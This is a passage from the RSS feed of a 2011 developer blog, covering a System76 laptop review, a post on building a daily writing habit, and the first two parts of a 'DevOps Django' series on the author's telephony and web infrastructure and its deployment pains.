&lt;p>I decided to go with their largest model (it&amp;rsquo;s a 17.3&amp;quot;) because I love looking
at lots of code on a single screen. I don&amp;rsquo;t use any external monitors, so
having a large screen is important for my day-to-day work flow.&lt;/p>
&lt;p>With the background out of the way, here&amp;rsquo;s my review of the actual laptop.&lt;/p>
&lt;h2 id="first-impressions">First Impressions&lt;/h2>
&lt;p>System76 did a great job on first impressions. You know how most laptops
typically come in awful boxes, filled with tons of spam? System76 doesn&amp;rsquo;t do
that at all. The shipping box was simple, easy to open, and not cluttered.&lt;/p>
&lt;p>Inside their shipping box there was simply the laptop, the carrying case, and a
card with links to the System76 website for help. Elegant.&lt;/p>
&lt;p>My first thoughts upon seeing the actual laptop (once I pulled it out and set
it on my table) was: &lt;em>woa&lt;/em>. The laptop is really big and sturdy looking. It&amp;rsquo;s
got a metallic casing around it (not plastic), and looks expensive. The lid of
the laptop has the System76 logo etched into it, which looks brilliant.&lt;/p>
&lt;p>The screen on this thing is amazing. It&amp;rsquo;s huge, clear, and surprisingly crisp.
Maybe I&amp;rsquo;ve just been using shitty laptops &amp;rsquo;till now, but this thing makes my
old Sony Vaio look like a child&amp;rsquo;s toy.&lt;/p>
&lt;p>The keyboard is sturdy with thick, responsive keys. This is a big win for me,
as I type fast, and having highly responsive keys just feels &lt;strong>right&lt;/strong>.&lt;/p>
&lt;p>Also: there are no stickers on the laptop. I hate getting a new machine
covered in Intel, Windows, and other ridiculous stickers. This gives the
laptop a really nice clean look, and it&amp;rsquo;s refreshing to not be bombarded by
hardware ads.&lt;/p>
&lt;h2 id="software-support">Software Support&lt;/h2>
&lt;p>After working my way through the first boot process just to see what it was
like (it was fine), I popped in my own Ubuntu 11.04 CD and formatted the box.
I was curious to see if this laptop was truly Linux compatible, or if it was
just loaded with a bunch of special drivers to make things work decently.&lt;/p>
&lt;p>Surprisingly, I had absolutely no issues installing Ubuntu. Everything worked
perfectly out of the box. Web cam, microphone, video card drivers, etc. It
was a pretty great feeling to get everything installed fresh with no issues
whatsoever.&lt;/p>
&lt;h2 id="speed">Speed&lt;/h2>
&lt;p>This thing is fast. Really, insanely fast. I don&amp;rsquo;t have much else to say
about this, except that I&amp;rsquo;ve never had such a fast System. Ubuntu boots in
less than 2 seconds, consistently.&lt;/p>
&lt;h2 id="pricing">Pricing&lt;/h2>
&lt;p>If you&amp;rsquo;ve ever purchased a laptop online from a major hardware vendor (Dell,
HP, etc.), you&amp;rsquo;ll notice that when customizing the laptop components, you&amp;rsquo;ve
got a million choices. It&amp;rsquo;s typical to be able to choose from at least 20
different CPUs, 30 times of RAM, etc.&lt;/p>
&lt;p>From what I saw, System76 takes a different approach. All their base Systems
have excellent hardware, and they only offer a few upgrade options. I prefer
this a lot more to the traditional model. Why? Because pricing is a lot
clearer. Instead of purchasing a laptop that you think will cost 500$, and
then upgrading it to make it decent and then realizing that the price is now
3,000$&amp;ndash;you know right off the bat what sort of price you&amp;rsquo;re looking at.&lt;/p>
&lt;p>While this laptop was expensive (I paid ~1,800$), its hardware stats are
comparable to similarly priced HP laptops.&lt;/p>
&lt;h2 id="problems">Problems&lt;/h2>
&lt;p>&lt;strong>NOTE&lt;/strong>: I&amp;rsquo;ve only been using this laptop for two weeks so far. If I
experience any other problems I&amp;rsquo;ll update this post to include them.&lt;/p>
&lt;p>The power key. The most annoying problem I&amp;rsquo;ve had with the laptop to date is
the power key. It&amp;rsquo;s hard to press. I can push it down easily enough, but it
seems like you have to push it down and hold it for a second for it to actually
recognize your key press. This is pretty annoying as it takes me at least two
tries to turn the thing on.&lt;/p>
&lt;p>The caps lock / num lock / wifi icons that light up when they&amp;rsquo;re on are ugly.
They look like they&amp;rsquo;re pixelated globe icons from the 1980s. System76&amp;ndash;if you
read this, consider using something a bit nicer looking. They really detract
from the clean, professional look of the laptop.&lt;/p>
&lt;p>Lastly, the power cable for this thing is massive. The laptop doesn&amp;rsquo;t use your
standard size power cord, it has a massive black box at least 3x&amp;rsquo;s larger than
any laptop cord I&amp;rsquo;ve owned before. While I understand this is the largest
model of laptop, and it has high end power-hungry hardware, the cord size still
matters (at least to me). I haven&amp;rsquo;t carried this laptop anywhere with me yet,
but I assume that when I do, my carrying case will be at least a few pounds
heavier with the cord inside.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>System76 makes a damn good laptop, as far as I&amp;rsquo;m concerned. Despite a few
minor flaws, this thing has been excellent. I can honestly say that I&amp;rsquo;ve never
owned such a great laptop in my life.&lt;/p>
&lt;p>It&amp;rsquo;s fast, sturdy, looks great, and has perfect Linux hardware compatibility.&lt;/p>
&lt;p>If you&amp;rsquo;re a Linux guy looking for a great laptop, I&amp;rsquo;d strongly recommend you
give System76 a shot for your next purchase.&lt;/p>
&lt;p>You can check out all their systems on their main site:
&lt;a href="https://www.system76.com/home/" title="System76">http://www.system76.com/&lt;/a>&lt;/p></description></item><item><title>Establishing a Writing Habit</title><link>https://rdegges.com/2011/establishing-a-writing-habit/</link><pubDate>Tue, 13 Dec 2011 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/establishing-a-writing-habit/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/establishing-a-writing-habit/feather-pen-sketch.png" alt="Feather Pen Sketch" title="Feather Pen Sketch">
&lt;/p>
&lt;p>I&amp;rsquo;m a big fan of personal growth and development. My thought on the matter is
that each of us is only given a little time to live, so we might as well make
the most of it. Improving yourself is always a good time investment.&lt;/p>
&lt;p>A few years ago I started building positive habits. I read a few books, and
learned that one of the most effective ways to cultivate yourself is by slowly
building positive habits into your daily routine, one at a time. Shortly
thereafter I discovered &lt;a href="http://habitforge.com/" title="HabitForge">HabitForge&lt;/a>, a web application that helps you build
new habits by sending you daily email reminders and tracking your progress.&lt;/p>
&lt;p>Let&amp;rsquo;s say you want to read for 30 minutes every day. According to the research
HabitForge has done, if you force yourself to read 30 minutes a day for 21 days
in a row, your 30 minutes of reading will have become a natural habit. Of
course, your habit won&amp;rsquo;t come &lt;em>completely&lt;/em> naturally (you will still have to
put fourth conscious effort to do it each day), but it will be significantly
easier for you to maintain day after day.&lt;/p>
&lt;p>The catch is that if you &lt;a href="http://lifehacker.com/281626/jerry-seinfelds-productivity-secret" title="Jerry Seinfeld's Productivity Secret">break-the-chain&lt;/a>, you have to start your 21 day
habit building cycle fresh. This means that if you read for 20 days in a row,
but on the 21st day forget&amp;ndash;you&amp;rsquo;re our of luck. You&amp;rsquo;ll need to start again
from day 1, and work through a full 21 day period before your habit will become
second nature.&lt;/p>
&lt;p>The great thing about the 21 day method is that it seems to work (at least it
does for me). Last year I built several habits that I&amp;rsquo;ve kept since. My only
regret is that I didn&amp;rsquo;t continue to add more habits after successfully
establishing a few great ones.&lt;/p>
&lt;p>Which brings me to the topic of this article&amp;hellip;&lt;/p>
&lt;h2 id="writing">Writing&lt;/h2>
&lt;p>I&amp;rsquo;ve always enjoyed writing. It appeals to my sentimental side. There&amp;rsquo;s
something about writing that just feels great. The best way I can describe the
way I feel when writing is:&lt;/p>
&lt;p>Imagine &lt;a href="http://en.wikipedia.org/wiki/Leonardo_da_Vinci" title="Leonardo DaVinci">Leonardo DaVinci&lt;/a> in his workshop in Italy in the late 1400s. He&amp;rsquo;s
been obsessively locked up in there for weeks on end building a new prototype.
It&amp;rsquo;s late at night, and there are papers scattered across his desk. He&amp;rsquo;s
sitting on a wooden stool, hunched over the desk working by candlelight, madly
scribbling his discoveries using a feather pen into an extremely aged looking
notebook.&lt;/p>
&lt;p>That&amp;rsquo;s how writing makes me feel.&lt;/p>
&lt;p>Unfortunately, while I have written quite a lot over the past few years&amp;ndash;I&amp;rsquo;ve
come nowhere close producing either the quality or quantity of writing that I&amp;rsquo;d
like to.&lt;/p>
&lt;p>A few days ago I started a new habit on HabitForge, my first one in a few
months&amp;ndash;dedicated to writing. I&amp;rsquo;m going to make &amp;ldquo;writing for 30 minutes&amp;rdquo; a
daily part of my routine. It isn&amp;rsquo;t much, but I&amp;rsquo;m hoping that 30 minutes of
intensely focused writing will help me grow as a writer.&lt;/p>
&lt;p>If you&amp;rsquo;re one of the few people who do actually read what I write on here, you
can expect to see more frequently articles in the coming days and weeks.&lt;/p>
&lt;p>If you&amp;rsquo;re looking to build new positive habits into your life, why not make an
account at &lt;a href="http://habitforge.com/" title="HabitForge">HabitForge&lt;/a> (it&amp;rsquo;s totally free) and get started?&lt;/p>
&lt;p>&lt;strong>UPDATE&lt;/strong>: I wrote some reflections on my writing habit progress so far, you
can read them &lt;a href="https://rdegges.com/2011/what-ive-learned-about-writing-so-far/" title="What I've Learned About Writing (So Far)">here&lt;/a>.&lt;/p>
&lt;p>&lt;strong>UPDATE&lt;/strong>: My writing habit is built! I&amp;rsquo;ve written for 30 minutes for each of
the 21 days without fail. I wrote another post which also includes some tips
and thoughts, you can read it &lt;a href="https://rdegges.com/2012/writing-habit-complete/" title="Writing Habit - Complete">right here&lt;/a>.&lt;/p></description></item><item><title>DevOps Django - Part 2 - The Pain of Deployment</title><link>https://rdegges.com/2011/devops-django-part-2-the-pain-of-deployment/</link><pubDate>Mon, 12 Dec 2011 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/devops-django-part-2-the-pain-of-deployment/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/devops-django-part-2-the-pain-of-deployment/pyramid-head-sketch.png" alt="Pyramid Head Sketch" title="Pyramid Head Sketch">
&lt;/p>
&lt;p>This article is part of a series I&amp;rsquo;m writing called &lt;em>DevOps Django&lt;/em>. This
series is meant to explain how to best deploy modern Django sites. If you&amp;rsquo;re
new, you should probably read the &lt;a href="https://rdegges.com/2011/devops-django-part-1-goals/" title="DevOps Django - Part 1 - Goals">first article&lt;/a> of the series before this
one.&lt;/p>
&lt;h2 id="what-i-build">What I Build&lt;/h2>
&lt;p>As I mentioned in the first article of the series, I work at a tech startup
building telephony services. Our primary product is a hosted teleconferencing
platform that hundreds of thousands of callers use each month. As all my
experience with deployment has (primarily) come from building and maintaining
this platform, I&amp;rsquo;d like to take this opportunity to explain what I actually
build.&lt;/p>
&lt;p>Our product is broken up in two primary components: a telephony layer that
powers our core teleconferencing service, and a web layer that powers our API
back end and user portal. Having two completely separate (and isolated)
infrastructures means having to deal with multiple deployment patterns.&lt;/p>
&lt;p>Our telephony infrastructure is built on top of:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://www.ubuntu.com/business/server/overview" title="Ubuntu Server">Ubuntu server&lt;/a>, a great Debian based operating system.&lt;/li>
&lt;li>&lt;a href="http://www.asterisk.org/" title="Asterisk">Asterisk&lt;/a>, the open source PBX engine.&lt;/li>
&lt;li>&lt;a href="http://opensips.org/" title="OpenSIPS">OpenSIPS&lt;/a>, the open source SIP router.&lt;/li>
&lt;li>Cisco hardware (for routing physical calls over multiple DS3 circuits).&lt;/li>
&lt;li>&lt;a href="http://en.wikipedia.org/wiki/Network_File_System_(protocol)" title="NFS">NFSd&lt;/a>, for storing large amounts of sound files.&lt;/li>
&lt;/ul>
&lt;p>The majority of our telephony code is written in Asterisk&amp;rsquo;s custom scripting
language (&lt;a href="http://www.voip-info.org/wiki/view/Asterisk+Dialplan+Introduction" title="Dial Plan Wiki">dial plan&lt;/a>). This language lets us completely control call
behavior. With it, we can do things like:&lt;/p>
&lt;ul>
&lt;li>Play sound files.&lt;/li>
&lt;li>Record sounds.&lt;/li>
&lt;li>Bridge multiple calls together.&lt;/li>
&lt;li>Recognize touch tone input and perform other actions.&lt;/li>
&lt;/ul>
&lt;p>Here&amp;rsquo;s a small diagram which shows how our physical infrastructure is designed
(excuse my poor diagrams, I&amp;rsquo;m awful with this stuff):&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/devops-django-part-2-the-pain-of-deployment/telephony-infrastructure.png" alt="Telephony Infrastructure" title="Telephony Infrastructure">
&lt;/p>
&lt;p>The way things work here is that callers (e.g. you) dial our phone number on
your cell phone (or land line, whatever) and your call travels through the
&lt;a href="http://en.wikipedia.org/wiki/Public_switched_telephone_network" title="PSTN">PSTN&lt;/a> (public telephone network). Your call eventually arrives at our
Cisco equipment, which converts the calls from hard line formats into &lt;a href="http://en.wikipedia.org/wiki/Voice_over_IP" title="VoIP">VoIP&lt;/a>,
so that we can easily move the call around our network.&lt;/p>
&lt;p>From there, your call is sent to our load balancer (OpenSIPS), which determines
which Asterisk server should handle your call. At this point, your call is
then sent to Asterisk, which does whatever needs to be done.&lt;/p>
&lt;p>The NFS server is used to store user generated sound files. This way, our
Asterisk servers can remain stateless (we can simply plug more Asterisk servers
into our network at any time to increase capacity).&lt;/p>
&lt;p>Where things get interesting is our web infrastructure.  Our web stack
provides lots of functionality to our systems, including:&lt;/p>
&lt;ul>
&lt;li>The ability to manage conference rooms in real time. This includes stuff
like muting callers, banning callers, changing caller nick names for easy
identification, etc.&lt;/li>
&lt;li>Centralized logging of all user metrics: which conference rooms they use,
how often, what features they use the most.&lt;/li>
&lt;li>Billing integration that allows us to track how many minutes are being used
by each conference room.&lt;/li>
&lt;li>Account management for users (and administrators).&lt;/li>
&lt;li>An API that our telephony infrastructure uses to communicate with us.&lt;/li>
&lt;li>Other cool features that I won&amp;rsquo;t get into.&lt;/li>
&lt;/ul>
&lt;p>Our web stack &lt;em>was&lt;/em> built using the following technologies:&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: I&amp;rsquo;m choosing to list the old technologies here as this article is
focused primarily on my original problems deploying Django. While I&amp;rsquo;ve solved
a majority of my problems, that will be discussed in a future part of this
article series.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://python.org/" title="Python">Python&lt;/a>, our favorite programming language.&lt;/li>
&lt;li>&lt;a href="https://www.djangoproject.com/" title="Django">Django&lt;/a>, our favorite web framework.&lt;/li>
&lt;li>&lt;a href="http://www.rabbitmq.com/" title="RabbitMQ">RabbitMQ&lt;/a>, a useful queueing system.&lt;/li>
&lt;li>&lt;a href="http://celeryproject.org/" title="Celery">Celery&lt;/a>, a distributed task queue.&lt;/li>
&lt;li>&lt;a href="http://memcached.org/" title="memcached">Memcached&lt;/a>, a simple caching server.&lt;/li>
&lt;li>&lt;a href="http://freeradius.org/" title="FreeRADIUS">FreeRADIUS&lt;/a>, an annoying and stupid (but necessary) system for logging
call metrics.&lt;/li>
&lt;li>&lt;a href="http://www.mysql.com/" title="MySQL">MySQL&lt;/a>, an incredibly frustrating database server.&lt;/li>
&lt;li>&lt;a href="http://git-scm.com/" title="Git">Git&lt;/a> and &lt;a href="https://github.com/" title="GitHub">GitHub&lt;/a>, for version control.&lt;/li>
&lt;/ul>
&lt;p>And this is a list of our old infrastructure tools (most of these are gone now
in our new environment):&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://puppetlabs.com/" title="puppet">Puppet&lt;/a>, a centralized configuration management service. Essentially,
it allows you to write scripts that automatically configure your servers in
a modular fashion.&lt;/li>
&lt;li>&lt;a href="http://mmonit.com/monit/" title="monit">monit&lt;/a>, application monitoring software we used for automatically fixing
critical problems and sending alerts. It lets you do stuff like say &amp;ldquo;send
me an alert if the CPU usage on this box goes above 50%&amp;rdquo;.&lt;/li>
&lt;li>&lt;a href="http://munin-monitoring.org/" title="munin">munin&lt;/a>, a simple monitoring tool that generates useful graphs (network
traffic, CPU usage, etc.).&lt;/li>
&lt;li>&lt;a href="http://www.nagios.org/" title="Nagios">nagios&lt;/a>, a popular system monitoring tool.&lt;/li>
&lt;li>&lt;a href="http://haproxy.1wt.eu/" title="haproxy">HAProxy&lt;/a>, the fast HTTP load balancer.&lt;/li>
&lt;li>&lt;a href="http://nginx.org/" title="Nginx">Nginx&lt;/a>, our web server of choice for buffering HTTP requests locally to
our &lt;a href="http://www.wsgi.org/en/latest/index.html" title="WSGI">WSGI&lt;/a> server.&lt;/li>
&lt;li>&lt;a href="http://gunicorn.org/" title="Gunicorn">Gunicorn&lt;/a>, a unicorn with a gun. OK, not really&amp;hellip; It&amp;rsquo;s actually a
pretty awesome pure Python WSGI server.&lt;/li>
&lt;li>&lt;a href="http://jenkins-ci.org/" title="Jenkins">Jenkins&lt;/a>, a simple continuous integration server for running tests and
deploying code to production.&lt;/li>
&lt;li>&lt;a href="http://www.rackspacecloud.com/3149.html" title="Rackspace">Rackspace&lt;/a>, our server host.&lt;/li>
&lt;/ul>
&lt;p>These are the core technologies that we used to develop our web stack over the
past two years (up until a few weeks ago).&lt;/p>
&lt;p>I&amp;rsquo;ve taken the liberty of drawing this up in a small diagram (again, excuse my
poor diagramming skills):&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/devops-django-part-2-the-pain-of-deployment/web-infrastructure.png" alt="Web Infrastructure" title="Web Infrastructure">
&lt;/p>
&lt;p>As you can probably imagine, we use Python and Django to build our website and
back end API. These are the core technologies that power our web services.
RabbitMQ holds our queued tasks, and Celery processes the queued tasks and
executes them on worker servers asynchronously. Memcached is used to store
data in memory for fast retrieval (stuff like lists of banned callers, etc.)
and MySQL was used to store all of our persistent data.&lt;/p>
&lt;p>FreeRADIUS is really in a league of its own, as we use it exclusively to track
call metrics from our physical Cisco devices. Most high end Cisco equipment
supports radius logging, so we have a FreeRADIUS instance running at all times
to track our physical call metrics (which calls enter and leave our network
before ever talking to our telephony servers), as this data is far more
accurate than data that arrives via API calls (due to timing issues across the
network).&lt;/p>
&lt;p>In regards to our monitoring software (puppet, etc.) we used quite a mix. The
reason being that no one piece covered all our basic requirements. For our
services, we wanted to have the following:&lt;/p>
&lt;ul>
&lt;li>Alerts when stuff goes down.&lt;/li>
&lt;li>The ability to automatically fix weird issues (restart services that
stopped, etc.).&lt;/li>
&lt;li>Graphs to show CPU usage, memory usage, etc., so that (as a devops guy) you
can scale your infrastructure as necessary, spot bottlenecks, etc.&lt;/li>
&lt;li>The ability to automatically provision new servers. Manually provisioning
servers is:
&lt;ul>
&lt;li>A waste of time and energy.&lt;/li>
&lt;li>Error prone (what if you forget to do something?).&lt;/li>
&lt;li>Not scalable.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The ability to quickly and easily confirm things are working.&lt;/li>
&lt;/ul>
&lt;p>A lot of our core functionality comes from the integration between our
telephony services (which are co-located at various data centers around the
US), and our centralized cloud platform. Due to the dynamic nature of our
architecture, our web platform is extremely important.  If our web platform
goes down, our users see a majority of their features vanish instantly, as we
can&amp;rsquo;t log usage data, perform authentication checks against users, etc.&lt;/p>
&lt;p>With both parts of our stack working together, we&amp;rsquo;re able to give our users a
really great experience both through their phone and browser.&lt;/p>
&lt;h2 id="why-deployment-was-painful">Why Deployment was Painful&lt;/h2>
&lt;p>As our product focuses on real time user communication, we have a lot of
technical challenges. Our service needs to:&lt;/p>
&lt;ul>
&lt;li>Provide fast interaction between our physical telephony infrastructure and
cloud infrastructure.&lt;/li>
&lt;li>Provide accurate logging information for billing.&lt;/li>
&lt;li>Maintain high availability for our systems, as even a minute of downtime
effects thousands of callers.&lt;/li>
&lt;li>Rapidly push changes to our applications in production with no maintenance
windows.&lt;/li>
&lt;/ul>
&lt;p>With our intense availability requirements, I&amp;rsquo;d say that (up until our recent
infrastructure change), I was spending about 90% of my time working on either
maintaining our infrastructure and tools, updating components, automating
components, or scaling our components.&lt;/p>
&lt;p>Given the fact that we have so many different technologies (a lot of them
requiring their own servers and redundancy), complexity couldn&amp;rsquo;t be helped&amp;ndash;
even using modern tools like puppet, monit, nagios, etc.&lt;/p>
&lt;p>If you&amp;rsquo;re into &lt;em>devops&lt;/em> type stuff, you might be wondering what problems I had
given my setup.  After all, a majority of the technologies I was using are
quite popular in high-tech circles. People look at you funny if you work at a
tech company that &lt;em>doesn&amp;rsquo;t&lt;/em> use puppet (or chef) and nagios. These tools have
a reputation for making your life easier (as a developer), and &lt;em>supposedly&lt;/em> let
you focus more on coding than sysadmin tasks.&lt;/p>
&lt;p>&lt;strong>Despite the hype, building out your infrastructure and monitoring tools is
hard. Really hard. If you want to do it right.&lt;/strong>&lt;/p>
&lt;p>Firstly, let&amp;rsquo;s talk time. The time required to learn all of the infrastructure
technologies we used was immense. As anyone who knows me can attest, I spend a
ridiculous amount of time programming. Even with the insane hours I
consistently pull hacking code, it took a long time before I was able to build
quality puppet modules, monitoring scripts, and deployment tools.&lt;/p>
&lt;p>Once we started heavily using our infrastructure tool set: puppet, nagios,
monit, etc., I found that I&amp;rsquo;d spend &lt;em>at least&lt;/em> 90% of my time throughout the
workday either:&lt;/p>
&lt;ul>
&lt;li>Writing new monitoring and deployment modules.&lt;/li>
&lt;li>Fixing bugs in old monitoring and deployment modules.&lt;/li>
&lt;li>Dealing with random one-off issues that occur because of slight differences
in production environments.&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Since my company is small, and engineering time is our most valuable
resource, this was a real killer.&lt;/strong>&lt;/p>
&lt;p>Secondly, hosting cost becomes an issue. When you require high availability
for your services, you can&amp;rsquo;t run just one of anything. This led to a ton of
overhead cost on Rackspace, as we had at least two of everything running
constantly. Ouch. Not to mention the time it took to engineer the backups /
restoration / monitoring tools so that they would actually be useful in the
event that a service died.&lt;/p>
&lt;p>For the longest time I always assumed building fail proof services would be
easy. How wrong I was! Even the simplest of services, take RabbitMQ for
instance, requires an immense amount of planning, thought, and maintained focus
to build properly. In an environment where you rely on that RabbitMQ server
being available 24x7 with as many &lt;a href="http://en.wikipedia.org/wiki/High_availability" title="Five Nines">nines of availability&lt;/a> as possible, even
the simplest of services can become an enormous pain.&lt;/p>
&lt;p>&lt;strong>Engineering failover that works is an art. A time consuming art.&lt;/strong>&lt;/p>
&lt;p>Third, MySQL.  &lt;em>ARG!&lt;/em>  Ever tried to automate MySQL deployments? I dare you
to build a puppet module that can successfully spin up MySQL replication slaves
on demand. It is so painful that I&amp;rsquo;d rather slap myself in the face with a
porcupine than attempt that again.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: I tried endlessly to find (and build) a decent &lt;code>puppet-mysql&lt;/code> module.
I found numerous semi-maintained ones on GitHub, but never found a single
working one. The one I ended up building myself (and using) was so tightly
coupled to my specific deployment scenario that I actually still wake up in hot
sweats on occasion just from thinking about it.&lt;/p>
&lt;p>&lt;strong>MySQL is annoying to manage in production.&lt;/strong>&lt;/p>
&lt;p>Fourth, complexity. Having so many tools deployed just to keep things running
is a real pain. Not only is it a time sink, expensive, and hard to maintain&amp;ndash;
it is complex.&lt;/p>
&lt;p>&lt;strong>Complexity gets you in subtle ways.&lt;/strong>&lt;/p>
&lt;p>For me, complexity manifested itself in coupling issues. With such a large
amount of scripts, tools, and services&amp;ndash;making a change anywhere in the code
base was likely to break some part of our deployment or monitoring tool set.
This was especially annoying, as it diverted a lot of attention that could have
been spent better elsewhere.&lt;/p>
&lt;h2 id="painful-lessons">Painful Lessons&lt;/h2>
&lt;p>Since I first started building our teleconferencing service almost two full
years ago, I&amp;rsquo;ve learned quite a bit about deploying Django. Before completely
overhauling our service and porting everything to Django, I was relatively
inexperienced with production deployments, having only built small passion
projects.&lt;/p>
&lt;p>What I learned through all of my experiences learning (and using) a variety of
popular sysadmin and devops type tools is that nothing in the sysadmin (or
devops) world is perfect. There are some great tools out there (puppet), but
they&amp;rsquo;ve got a long way to go before they&amp;rsquo;re simple enough that a single devops
guy can build out an entire production infrastructure solo.&lt;/p>
&lt;p>By far the greatest hurdle I encountered over the past two years has been
infrastructure. There is a huge time investment gap between building a basic
infrastructure (installing Nginx, Gunicorn, celery, etc., on a single server),
and automatically provisioning that same infrastructure (with puppet, etc.).
In regards to the difficulty of actually writing code that can scale across a
large infrastructure, the challenges have been much simpler to overcome. In
fact, I&amp;rsquo;m happy to say that using Django has been an excellent choice for us.&lt;/p>
&lt;p>Regardless of the difficulties I&amp;rsquo;ve had over the past two years in building out
our infrastructure, and &lt;em>effectively&lt;/em> deploying Django&amp;ndash;it has been a great
learning experience. I&amp;rsquo;ve learned more these past two years than at any
previous point in my life.&lt;/p>
&lt;p>But for me, what it really comes down to, is&amp;hellip;&lt;/p>
&lt;p>I&amp;rsquo;m a programmer at heart. I like coding and building new things. At the end
of the day, it hurts me inside to spend a ton of time working really hard to
maintain and scale your infrastructure, and then realize that through all your
effort, you&amp;rsquo;ve only managed to fight off the chaos for another day. Bummer.
I&amp;rsquo;d rather be hacking on new Django modules, or playing around with the latest
asynchronous Javascript framework.&lt;/p>
&lt;p>But that&amp;rsquo;s just me.&lt;/p>
&lt;p>In the next part of the series, I&amp;rsquo;ll be discussing the first part of the
deployment solution I discovered.&lt;/p>
&lt;p>&lt;strong>UPDATE&lt;/strong>: I finished part 3 of the series, you can read it &lt;a href="https://rdegges.com/2011/devops-django-part-3-the-heroku-way/" title="DevOps Django - Part 3 - The Heroku Way">here&lt;/a>.&lt;/p></description></item><item><title>DevOps Django - Part 1 - Goals</title><link>https://rdegges.com/2011/devops-django-part-1-goals/</link><pubDate>Mon, 05 Dec 2011 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/devops-django-part-1-goals/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/devops-django-part-1-goals/airplane-sketch.png" alt="Airplane Sketch" title="Airplane Sketch">
&lt;/p>
&lt;p>A little over a month ago I &lt;a href="https://rdegges.com/2011/deploying-django/" title="Deploying Django">published an article&lt;/a> describing the state of
&lt;a href="https://www.djangoproject.com/" title="Django">Django&lt;/a> deployment. If you don&amp;rsquo;t want to read the back story, I&amp;rsquo;ll
summarize it for you here: &lt;em>deploying Django is hard&lt;/em>.&lt;/p>
&lt;p>Surprisingly, my previous article drew quite a bit of attention from the Django
community. I was fortunate enough to speak with some really brilliant people,
and hear stories from lots of developers who had both good and bad experiences
with deployment. However, the overwhelming majority of developers I spoke with
all agreed: deploying Django is hard.&lt;/p>
&lt;p>Now, a lot of the &lt;em>deployment problem&lt;/em> (as I&amp;rsquo;ve come to refer to it) is not
directly Django&amp;rsquo;s fault, but rather a side effect of working with so many
technologies, services, and libraries. It is only natural that building
complex and performant software require sufficient deployment and
administration attention in order to work well.&lt;/p>
&lt;p>After writing &lt;a href="https://rdegges.com/2011/deploying-django/" title="Deploying Django">Deploying Django&lt;/a>, I decided to embark on a personal quest to
find, implement, and write about the best possible deployment strategies
currently around. Since then, I&amp;rsquo;ve been extremely fortunate in that I&amp;rsquo;ve found
what I consider to be the best possible deployment strategy for modern Django
projects.&lt;/p>
&lt;p>The goal of this article series is to tell my own tale of deploying Django:
what my problems were, what solutions I&amp;rsquo;ve found, and what problems still
exist&amp;ndash;in hopes that my experiences will help guide other Djangonauts looking
for a &lt;em>better way&lt;/em>.&lt;/p>
&lt;h2 id="deployment-goals">Deployment Goals&lt;/h2>
&lt;p>To kick start this article, I&amp;rsquo;d like to explain where I&amp;rsquo;m coming from: what I
do, what I value, and what my deployment goals are&amp;ndash;as these are all crucial to
the story. Everyone has different needs, and there&amp;rsquo;s a good chance that your
needs (and subsequently, goals) may be vastly different from mine.&lt;/p>
&lt;p>I&amp;rsquo;m the lead developer at a small telecommunications startup in the USA. My
company builds various telephony services, all of which are free for personal
usage. For more than a year, I was the sole technical employee, responsible
for:&lt;/p>
&lt;ul>
&lt;li>Building our products.&lt;/li>
&lt;li>Building our architecture.&lt;/li>
&lt;li>Scaling our services.&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>NOTE&lt;/strong>: I&amp;rsquo;m still responsible for all of the above, but we&amp;rsquo;ve expanded a bit
so I&amp;rsquo;m no longer alone =)&lt;/p>
&lt;p>As we&amp;rsquo;re a small tech company, our primary concern is productivity. Our
revenue is directly related to the amount of bugs we fix and features we add,
so it is in our best interest to free up as much engineering time as possible
so that we can focus on adding value to our users&amp;rsquo; lives.&lt;/p>
&lt;p>What this means for my company is that we greatly value devops work. Any
pieces of our infrastructure that we can automate and scale through code are
infinitely valuable to us, as they free up engineering time in the long run,
giving us more time to make an impact in our product.&lt;/p>
&lt;p>In an perfect world, as a developer, I should be able to:&lt;/p>
&lt;ul>
&lt;li>Run a single command to deploy my application into production.&lt;/li>
&lt;li>Run a single command to automatically scale up (or scale down) my
application.&lt;/li>
&lt;li>Instantly add services to my infrastructure that my application needs
(&lt;a href="http://memcached.org/" title="memcached">memcached&lt;/a>, &lt;a href="http://redis.io/" title="Redis">Redis&lt;/a>, &lt;a href="http://www.postgresql.org/" title="PostgreSQL">PostgreSQL&lt;/a>, etc.).&lt;/li>
&lt;li>Have full access to logs and metrics for all parts of my infrastructure, so
that I can find problems and fix them based on facts, not assumptions.&lt;/li>
&lt;/ul>
&lt;p>Furthermore, &lt;em>I want my application and all of its related infrastructure
components to just work, and require NO maintenance.&lt;/em> For instance, if I
provision a Redis server, I want to know that it will always be up and
available, and that I will never need to make changes to it again (other than
scaling it up or down).&lt;/p>
&lt;p>I think we can all agree that if the conditions above could be met with minimal
work, life as a developer would be grand.&lt;/p>
&lt;p>In the next part of this series, I&amp;rsquo;ll explain my company&amp;rsquo;s product technology
in detail, highlighting the pain points of deployment.&lt;/p>
&lt;p>&lt;strong>UPDATE&lt;/strong>: I finished part 2 of the series, you can continue reading &lt;a href="https://rdegges.com/2011/devops-django-part-2-the-pain-of-deployment/" title="DevOps Django - Part 2 - The Pain of Deployment">here&lt;/a>.&lt;/p></description></item><item><title>Deploying Django</title><link>https://rdegges.com/2011/deploying-django/</link><pubDate>Sun, 30 Oct 2011 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/deploying-django/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/deploying-django/cookie-monster.png" alt="Cookie Monster" title="Cookie Monster">
&lt;/p>
&lt;p>Over the past two years, I&amp;rsquo;ve learned a &lt;em>hell&lt;/em> of a lot about deploying Django
